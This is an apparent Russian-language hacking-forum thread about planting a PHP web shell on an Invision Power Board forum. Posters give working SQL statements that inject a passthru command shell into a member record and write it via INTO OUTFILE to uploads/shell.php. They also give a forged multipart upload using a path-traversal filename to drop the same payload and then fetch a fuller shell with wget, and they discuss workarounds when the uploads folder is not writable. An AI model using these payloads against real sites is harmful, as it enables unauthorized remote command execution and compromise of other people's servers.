попробуй через мускулы залить. если повезет и окажутся привелении писать в файл то будет тебе щастье.заливается так - идешь в sql админимтрирование и даешь команды

UPDATE ibf_members SET name='<? passthru("$cmd"); ?>'WHERE id='0';
SELECT name FROM `ibf_members` WHERE id='0' INTO OUTFILE '/FULL_PATH_TO_FORUM/uploads/shell.php';
UPDATE ibf_members SET name='Guest'WHERE id='0';

путь к форуму смотриш в конфигурации.есть и другуй способ,
юзай поиск по форуму.. эта тема сто раз уже обсуждалась.

Кста мне вот тоже интерстна тема, по поводу подделки запроса. Там запрос подделывается на это (часть,кусок):
Content-Disposition: form-data; name="FILE_UPLOAD"; filename="../../uploads/myFile.php"
Content-Type: application/octet-stream

Но где в этом запросе данные о моем ЛОКАЛЬНОМ пути, с которого надо заливать файл сюда: ../../uploads/myFile.php ?

<% echo("Hello from injected PHP script") %>

заменяй на <? passthru("$cmd"); ?>

а потмо уж закачаешь wget`ом нормальный шелл .

Люди помогите, а если нету прав записи в дерикторию uploads? Че тогда делать, неужели из админки ничего сделать нельзя?

FoGorm, в uploads хранятся аватары юзеров, получится что на форуме нельзя использовать аватары (может и такое), посмотри.

В том то и дело, незнаю из-за чего админ запретил заливать аватары, возможно ступил что права не дал...
Что можно сделать?

если действительно везьде -rx- то видимо ничего.
Найди другой форум

Ну не факт что и ступил, на одном из знакомых серверов у админа времени не было разбираться с js в аватарках, вот он и отключил в качестве временной меры закачку аватарок.